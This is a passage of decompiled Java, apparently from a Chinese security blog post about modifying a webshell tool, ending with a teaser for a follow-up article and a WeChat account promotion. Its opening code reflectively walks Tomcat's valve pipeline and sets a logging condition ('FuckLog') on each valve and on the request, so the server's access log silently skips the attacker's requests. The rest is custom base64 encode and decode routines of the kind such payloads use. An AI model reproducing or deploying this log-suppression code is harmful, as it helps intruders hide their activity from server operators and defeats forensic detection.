condition = ((condition == null) ? "FuckLog" : condition);
this.invoke(valve, "setCondition", condition);
pc.getRequest().setAttribute(condition, (Object)condition);
valve = this.invoke(valve, "getNext", (Object[])null);
}
else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
}
else {
valve = null;
}
}
}
}
catch (Exception ex) {}
}
}
catch (Exception ex2) {}
}
public String base64Encode(final String data) {
return this.base64Encode(data.getBytes());
}
public String base64Encode(final byte[] src) {
final int off = 0;
final int end = src.length;
final byte[] dst = new byte[4 * ((src.length + 2) / 3)];
final int linemax = -1;
final boolean doPadding = true;
final char[] base64 = this.toBase64;
int sp = off;
int slen = (end - off) / 3 * 3;
final int sl = off + slen;
if (linemax > 0 && slen > linemax / 4 * 3) {
slen = linemax / 4 * 3;
}
int dp = 0;
while (sp < sl) {
final int sl2 = Math.min(sp + slen, sl);
int bits;
for (int sp2 = sp, dp2 = dp; sp2 < sl2; bits = ((src[sp2++] & 0xFF) << 16 | (src[sp2++] & 0xFF) << 8 | (src[sp2++] & 0xFF)), dst[dp2++] = (byte)base64[bits >>> 18 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 12 & 0x3F], dst[dp2++] = (byte)base64[bits >>> 6 & 0x3F], dst[dp2++] = (byte)base64[bits & 0x3F]) {}
final int dlen = (sl2 - sp) / 3 * 4;
dp += dlen;
sp = sl2;
}
if (sp < end) {
final int b0 = src[sp++] & 0xFF;
dst[dp++] = (byte)base64[b0 >> 2];
if (sp == end) {
dst[dp++] = (byte)base64[b0 << 4 & 0x3F];
if (doPadding) {
dst[dp++] = 61;
dst[dp++] = 61;
}
}
else {
final int b2 = src[sp++] & 0xFF;
dst[dp++] = (byte)base64[(b0 << 4 & 0x3F) | b2 >> 4];
dst[dp++] = (byte)base64[b2 << 2 & 0x3F];
if (doPadding) {
dst[dp++] = 61;
}
}
}
return new String(dst);
}
public byte[] base64Decode(final String base64Str) {
if (base64Str.length() == 0) {
return new byte[0];
}
final byte[] src = base64Str.getBytes();
int sp = 0;
final int sl = src.length;
int paddings = 0;
final int len = sl - sp;
if (src[sl - 1] == 61) {
++paddings;
if (src[sl - 2] == 61) {
++paddings;
}
}
if (paddings == 0 && (len & 0x3) != 0x0) {
paddings = 4 - (len & 0x3);
}
byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];
final int[] base64 = new int[256];
Arrays.fill(base64, -1);
for (int i = 0; i < this.toBase64.length; ++i) {
base64[this.toBase64[i]] = i;
}
base64[61] = -2;
int dp = 0;
int bits = 0;
int shiftto = 18;
while (sp < sl) {
int b = src[sp++] & 0xFF;
if ((b = base64[b]) < 0 && b == -2) {
if ((shiftto == 6 && (sp == sl || src[sp++] != 61)) || shiftto == 18) {
throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");
}
break;
}
else {
bits |= b << shiftto;
shiftto -= 6;
if (shiftto >= 0) {
continue;
}
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
dst[dp++] = (byte)bits;
shiftto = 18;
bits = 0;
}
}
if (shiftto == 6) {
dst[dp++] = (byte)(bits >> 16);
}
else if (shiftto == 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
}
else if (shiftto == 12) {
throw new IllegalArgumentException("Last unit does not have enough valid bits");
}
if (dp != dst.length) {
final byte[] arrayOfByte = new byte[dp];
System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));
dst = arrayOfByte;
}
return dst;
}
}
下一篇将介绍修改思路和实现代码
欢迎关注 未来智安
公众号